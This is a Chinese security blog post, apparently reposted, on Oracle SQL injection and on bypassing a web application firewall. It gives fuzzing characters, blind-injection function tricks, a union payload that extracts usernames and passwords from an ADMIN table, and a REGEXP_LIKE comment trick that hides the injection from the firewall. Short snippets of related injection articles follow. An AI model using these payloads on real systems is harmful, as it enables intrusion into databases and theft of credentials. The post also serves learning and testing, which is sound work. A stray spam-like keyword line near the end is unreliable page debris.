<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    oracle注入繞狗

    VSole2021-10-14 15:03:05

    0x00 前言

    最近學習了oracle注入,和mysql比語法差異還是有的,做下小記錄,后面是嘗試繞狗。

    0x01 簡單fuzz

    空白符
    %09 %0A %0B %0C %0D
    

    當注入類型為數字型即id=1(fuzz點)union select 全字符url編碼fuzz一遍后,發現%2E %44 %46 %64 %66這些字符添加不影響SQL語句運行。url解碼后為 . D F d f

    ALL | DISTINCT
    union ALL select DISTINCT null, to_nchar(UNAME), to_nchar(UPASS), null from ADMIN
    

    函數

    decode ascii chr

    查詢當前用戶的第一個字段是否為S 是返回1否返回0select decode(substr((select user from dual),1,1), chr(83), 1, 0) value from dual;select decode(ascii(substr((select user from dual),1,1)), '83', 1, 0) value from dual;
    

    case when instr

    select decode((instr(user, chr(83), 1, 1)), 1, 1, 0) value from dual;select case instr(user, chr(83), 1, 1) when 1 then 1 else 0 end value from dual;
    

    lrpad rpad

    select decode('S', rpad(user, 1,1), 1, 0) value from dual;select decode('S'||'Y', rpad(user, 2,1), 1, 0) value from dual;select decode(concat('SYS','TEM'), rpad(user, 6,1), 1, 0) value from dual;
    

    更多函數

    chr,concat,initcap,lower,lpad/rpad,nls_initcap,nls_lower,nls_upper,regexp_replace,regexp_substr,replace,trim/ltrim/rtrim,soundex,substr,translate,upper
    

    0x02 繞狗

    思路很簡單,當用/*sql語句*/注釋把語句包裹起來時就不會攔截了,當然sql語句也無法正常執行了。

    要做的就是前面帶上/*閉合的*/直接放在結尾注釋后面,而且不影響sql語句的執行,我是找到了一個正則函數 REGEXP_LIKE帶上/*

    and REGEXP_LIKE(null, '/*')  union select null, to_nchar(UNAME), to_nchar(UPASS), null from ADMIN--*/
    


    sql語句也可以正常執行。

    這樣也行

    0x03 小結

    學習了基礎的oracle注入知識,嘗試繞狗這里我是官網測試的,實際環境可能有不同,個人覺得注入bypass這類還得看對sql語法的了解,越熟悉bypass的思路多些。

    0x04 參考

    https://www.t00ls.cc/viewthread.php?tid=57124&highlight=oracle

    實操推薦:Oracle手工盲注

    PC端體驗地址:http://mrw.so/6ta87q

    本實驗主要介紹了oracle數據庫的手工盲注,通過本實驗的學習,你能夠了解

    Oracle數據庫,掌握基本的Oracle注入語句,學會對oracle數據庫的手工注入。

    oracleoracle函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    本文主要講述Dnslog這種攻擊手法在SQL注入中的實戰運用,雖然網上對于Dnslog在SQL注入方面運用的文章也不少。但是很多文章都只是片面的提到了這個攻擊方式,或者只是用某個簡單的payload做了簡單的驗證。然而在實際的運用中,因為環境的差異,利用也不同。本文詳細的記錄了在多種常見數據庫實際運用過程的一些細節,包括POC的編寫和原理,和一些網上沒有公開的利用POC。
    數據庫注入提權總結
    2022-08-09 16:49:49
    select * from test where id=1 and ;布爾盲注常見的布爾盲注場景有兩種,一是返回值只有True或False的類型,二是Order by盲注。查詢結果正確,則延遲3秒,錯誤則無延時。笛卡爾積延時大約也是3秒HTTP頭注入注入手法和上述相差不多,就是注入點發生了變化HTTP分割注入常見場景,登錄處SQL語句如下
    例如,攻擊方可能會使用無人機進行監視、運輸非法物品,或通過侵入機場上方的封閉空域造成經濟損失。該fuzzer發現了可用于獲得根訪問權限,目前大疆已修復所有錯誤。鑒于大疆的實際重要性,本研究的工作重點關注該供應商在 200 克到 1 千克之間的消費級無人機。逆向工程結果證實了這些發現。
    看雪論壇作者ID:roadicing
    Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統。它是在數據庫領域一直處于領先地位的產品。可以說Oracle數據庫系統是世界上流行的關系數據庫管理系統,系統可移植性好、使用方便、功能強,適用于各類大、中、小微機環境。它是一種高效率的、可靠性好的、適應高吞吐量的數據庫方案。
    Oracle數據庫的基本知識Oracle數據庫介紹Oracle Database,又名Oracle RDBMS,或簡稱Oracle
    本周CNVD接到的涉及黨政機關和企事業單位的事件型漏洞總數10876個,與上周環比增加57%。本周,CNVD發布了《Oracle發布2022年7月的安全公告》。表1 漏洞報 送情況統計表 本周漏洞按類型和廠商統計 本周 ,CNVD收錄了347個漏洞。表2 漏洞按影響類型統計表 圖6 本周漏洞按影響類型分布
    亟需運用密碼技術構建數據安全防護體系,維護數據的完整性、保密性和可用性,保障我國數字經濟健康發展。2021 年 9 月 1 日施行的《中華人民共和國數據安全法》明確指出,需采取必要措施確保數據處于有效保護和合法利用的狀態,以及具備保障持續安全狀態的能力 。數據安全已成為總體國家安全觀的重要組成部分,采用密碼技術保障數據安全是數據存儲保護的必然趨勢。
    oracle注入繞狗
    2021-10-14 15:03:05
    0x00 前言最近學習了oracle注入,和mysql比語法差異還是有的,做下小記錄,后面是嘗試繞狗。0x01 簡單fuzz空白符%09 %0A %0B %0C %0D. 當注入類型為數字型即id=1union select 全字符url編碼fuzz一遍后,發現%2E %44 %46 %64 %66這些字符添加不影響SQL語句運行
    一個經過完整而優秀開發的應用一般來說你是看不到錯誤提示的,所以你是沒辦法從Union攻擊和錯誤中提取出數據的 一般盲注,你不能在頁面中看到響應,但是你依然能同個HTTP狀態碼得知查詢的結果 完全盲注,你無論怎么輸入都完全看不到任何變化。你只能通過日志或者其它什么的來注入。雖然不怎么常見。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类